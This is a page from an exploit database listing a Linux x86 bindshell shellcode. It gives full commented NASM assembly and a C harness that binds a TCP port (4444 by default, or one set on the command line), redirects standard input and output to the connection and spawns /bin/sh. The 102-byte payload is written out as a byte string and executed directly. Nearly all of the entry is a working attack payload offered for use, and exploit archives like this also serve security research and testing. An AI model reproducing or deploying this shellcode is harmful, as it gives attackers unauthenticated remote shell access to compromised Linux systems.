Lucene search
K

Linux/x86 Bindshell With Dynamic Port Binding Shellcode (102 bytes)

🗓️ 08 Jul 2021 00:00:00Reported by d7xType 
zdt
 zdt
🔗 0day.today👁 100 Views

Linux/x86 Bindshell With Dynamic Port Binding Shellcode. Binds to a port with dynamic shellcode port binding and tested on Ubuntu x86

Code
# Exploit Title: Linux/x86 - bindshell with dynamic shellcode port binding (size: 102 bytes)
# Exploit Author: d7x
# Tested on: Ubuntu x86

/* 
x86 bindshell with dynamic shellcode port binding (size: 102 bytes) (tested on Ubuntu 12.04 LTS)
Author: d7x
https://d7x.promiselabs.net/
https://www.promiselabs.net/
*/

/* *** Assembly: *** */ 
/*
; bindshell.nasm - Assembly TCP Bindshell (port 4444)
; Author d7x
; https://d7x.promiselabs.net
; https://www.promiselabs.net

global _start:

section .text

_start:
; socketcall (0x66)
;   syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01

; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0) 
xor edx, edx
push edx ; int domain

push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)

mov ecx, esp

; syscall
int 0x80

; save returned file descriptor from eax into esi for later use
mov esi, eax

; socketcall (0x66)
;   syscall BIND (0x02) - int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x02

; pushing arguments to the stack backwards: 
; bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));

; xor edx, edx
push edx
push word 0x5c11 ; port 4444 
push word 0x02  ; PF_INET

mov ecx, esp

push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor 

mov ecx, esp

; syscall
int 0x80

; socketcall (0x66)
;   syscall  SYS_LISTEN (0x04) - int listen(int sockfd, int backlog);
; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x04

; pushing arguments to the stack backwards: 
; listen(sockid, 0);
; xor edx, edx
push edx ; push 0

push esi ; socket file descriptor saved earlier in esi

mov ecx, esp

; syscall
int 0x80

; socketcall (0x66)
;   syscall SYS_ACCEPT (0x05) - int sock_accept = accept(sockid, 0, 0);
; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x05
; xor edx, edx
; push edx
push edx
push esi ; socket file descriptor saved earlier in esi
mov ecx, esp

; syscall
int 0x80

; save returned file descriptor from eax into esi for later use
mov esi, eax

; dup2 (0x3f)
;   0 ; stdin

; dup2 (0x3f)
;   1 ; stdout

; dup2 (0x3f)
;   2 ; stderr
; let's put all this in a loop
xor ecx, ecx

DUPCOUNT:
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2                63
; int dup2(int oldfd, int newfd);

; xor eax, eax
mov al, 0x3f

; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value

; xor ebx, ebx
mov ebx, esi  ; saved socket descriptor
; syscall
int 0x80

inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached


; execve (0x0b) 
;   /bin//sh
xor eax, eax
; xor ebx, ebx
; sub esp, 8 ; reserve some bytes in the stack to work with
push eax

mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp

xor ecx, ecx

; syscall
int 0x80

; exit call (we do not need an exit call as we are calling an external program already)
; mov al, 0x1
; mov bl, 0x1
; int 0x80
*/
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";

main(int argc, char *argv[])
{

  /* Default port at 28th and 29th byte index: \x11\x5c */

  // in case no port is provided the default would be used
  if (argc < 2) {
    printf("No port provided, 4444 (0x115c will be used)\n");
  } 
  else
  {

    int port = atoi(argv[1]);
    printf("Binding to %d (0x%x)\n", port, port);

    unsigned int p1 = (port >> 8) & 0xff;
    unsigned int p2 = port & 0xff;
    // printf("%x %x\n", p1, p2);

    shellcode[28] = (unsigned char){p1};
    shellcode[29] = (unsigned char){p2};

    // printf("%x %x", shellcode[28], shellcode[29]);
}

  int (*ret)() = (int(*)())shellcode;

  ret(); 

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2021 00:00Current
7.4High risk
Vulners AI Score7.4
100